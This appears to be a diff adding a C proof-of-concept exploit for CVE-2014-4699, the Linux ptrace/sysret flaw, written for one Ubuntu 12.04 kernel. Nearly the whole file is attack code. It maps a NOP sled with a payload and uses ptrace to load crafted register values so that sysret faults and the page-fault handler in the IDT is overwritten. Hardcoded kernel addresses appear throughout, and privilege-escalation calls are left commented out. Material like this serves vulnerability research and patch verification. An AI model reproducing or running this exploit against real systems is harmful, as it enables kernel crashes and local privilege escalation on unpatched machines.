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| 1 | +/** |
| 2 | + * CVE-2014-4699 ptrace/sysret PoC |
| 3 | + * by Vitaly Nikolenko |
| 4 | + * vnik@hashcrack.org |
| 5 | + * |
| 6 | + * > gcc -O2 poc_v0.c |
| 7 | + * |
| 8 | + * This code is kernel specific. On Ubuntu 12.04.0 LTS (3.2.0-23-generic), the |
| 9 | + * following will trigger the #GP in sysret and overwrite the #PF handler so we |
| 10 | + * can land to our NOP sled mapped at 0x80000000. |
| 11 | + * However, once landed, the IDT will be trashed. We can either attempt to |
| 12 | + * restore it (then escalate privileges and execute our shellcode) or find |
| 13 | + * something else to overwrite that would transfer exec flow to our controlled |
| 14 | + * user-space address. Since 3.10.something, IDT is read-only anyway. If you |
| 15 | + * have any ideas, let me know. |
| 16 | + */ |
| 17 | + |
| 18 | +#include <stdio.h> |
| 19 | +#include <stdint.h> |
| 20 | +#include <assert.h> |
| 21 | +#include <sys/ptrace.h> |
| 22 | +#include <sys/types.h> |
| 23 | +#include <sys/wait.h> |
| 24 | +#include <sys/syscall.h> |
| 25 | +#include <sys/user.h> |
| 26 | +#include <unistd.h> |
| 27 | +#include <sys/mman.h> |
| 28 | +#include <errno.h> |
| 29 | + |
| 30 | +#define SIZE 0x10000000 |
| 31 | + |
| 32 | +typedef int __attribute__((regparm(3))) (*commit_creds_fn)(unsigned long cred); |
| 33 | +typedef unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred_fn)(unsigned long cred); |
| 34 | + |
| 35 | +unsigned long __user_cs; |
| 36 | +unsigned long __user_ss; |
| 37 | +unsigned long __user_rflags; |
| 38 | + |
| 39 | +void __attribute__((regparm(3))) payload() { |
| 40 | + uint32_t *fixptr = (void*)0xffffffff81dd70e8; |
| 41 | + // restore the #PF handler |
| 42 | + *fixptr = -1; |
| 43 | + //commit_creds_fn commit_creds = (commit_creds_fn)0xffffffff81091630; |
| 44 | + //prepare_kernel_cred_fn prepare_kernel_cred = (prepare_kernel_cred_fn)0xffffffff810918e0; |
| 45 | + //commit_creds(prepare_kernel_cred((uint64_t)NULL)); |
| 46 | + |
| 47 | + //__asm__ volatile ("swapgs\n\t" |
| 48 | + // "..."); |
| 49 | +} |
| 50 | + |
| 51 | +int main() { |
| 52 | + struct user_regs_struct regs; |
| 53 | + uint8_t *trampoline, *tmp; |
| 54 | + int status; |
| 55 | + |
| 56 | + struct { |
| 57 | + uint16_t limit; |
| 58 | + uint64_t addr; |
| 59 | + } __attribute__((packed)) idt; |
| 60 | + |
| 61 | + // MAP_POPULATE so we don't trigger extra #PF |
| 62 | + trampoline = mmap(0x80000000, SIZE, 7|PROT_EXEC|PROT_READ|PROT_WRITE, 0x32|MAP_FIXED|MAP_POPULATE|MAP_GROWSDOWN, 0,0); |
| 63 | + assert(trampoline == 0x80000000); |
| 64 | + memset(trampoline, 0x90, SIZE); |
| 65 | + tmp = trampoline; |
| 66 | + tmp += SIZE-1024; |
| 67 | + memcpy(tmp, &payload, 1024); |
| 68 | + memcpy(tmp-13,"\x0f\x01\xf8\xe85円0円0円0円\x0f\x01\xf8\x48\xcf", 13); |
| 69 | + |
| 70 | + pid_t chld; |
| 71 | + |
| 72 | + if ((chld = fork()) < 0) { |
| 73 | + perror("fork"); |
| 74 | + exit(1); |
| 75 | + } |
| 76 | + |
| 77 | + if (chld == 0) { |
| 78 | + if (ptrace(PTRACE_TRACEME, 0, 0, 0) != 0) { |
| 79 | + perror("PTRACE_TRACEME"); |
| 80 | + exit(1); |
| 81 | + } |
| 82 | + raise(SIGSTOP); |
| 83 | + fork(); |
| 84 | + return 0; |
| 85 | + } |
| 86 | + |
| 87 | + asm volatile("sidt %0" : "=m" (idt)); |
| 88 | + printf("IDT addr = 0x%lx\n", idt.addr); |
| 89 | + |
| 90 | + waitpid(chld, &status, 0); |
| 91 | + |
| 92 | + ptrace(PTRACE_SETOPTIONS, chld, 0, PTRACE_O_TRACEFORK); |
| 93 | + |
| 94 | + ptrace(PTRACE_CONT, chld, 0, 0); |
| 95 | + |
| 96 | + waitpid(chld, &status, 0); |
| 97 | + |
| 98 | + ptrace(PTRACE_GETREGS, chld, NULL, ®s); |
| 99 | + regs.rdi = 0x0000000000000000; |
| 100 | + regs.rip = 0x8fffffffffffffff; |
| 101 | + regs.rsp = idt.addr + 14*16 + 8 + 0xb0 - 0x78; |
| 102 | + |
| 103 | + // attempt to restore the IDT |
| 104 | + regs.rdi = 0x0000000000000000; |
| 105 | + regs.rsi = 0x81658e000010cbd0; |
| 106 | + regs.rdx = 0x00000000ffffffff; |
| 107 | + regs.rcx = 0x81658e000010cba0; |
| 108 | + regs.rax = 0x00000000ffffffff; |
| 109 | + regs.r8 = 0x81658e010010cb00; |
| 110 | + regs.r9 = 0x00000000ffffffff; |
| 111 | + regs.r10 = 0x81668e0000106b10; |
| 112 | + regs.r11 = 0x00000000ffffffff; |
| 113 | + regs.rbx = 0x81668e0000106ac0; |
| 114 | + regs.rbp = 0x00000000ffffffff; |
| 115 | + regs.r12 = 0x81668e0000106ac0; |
| 116 | + regs.r13 = 0x00000000ffffffff; |
| 117 | + regs.r14 = 0x81668e0200106a90; |
| 118 | + regs.r15 = 0x00000000ffffffff; |
| 119 | + |
| 120 | + ptrace(PTRACE_SETREGS, chld, NULL, ®s); |
| 121 | + |
| 122 | + ptrace(PTRACE_CONT, chld, 0, 0); |
| 123 | + |
| 124 | + ptrace(PTRACE_DETACH, chld, 0, 0); |
| 125 | +} |
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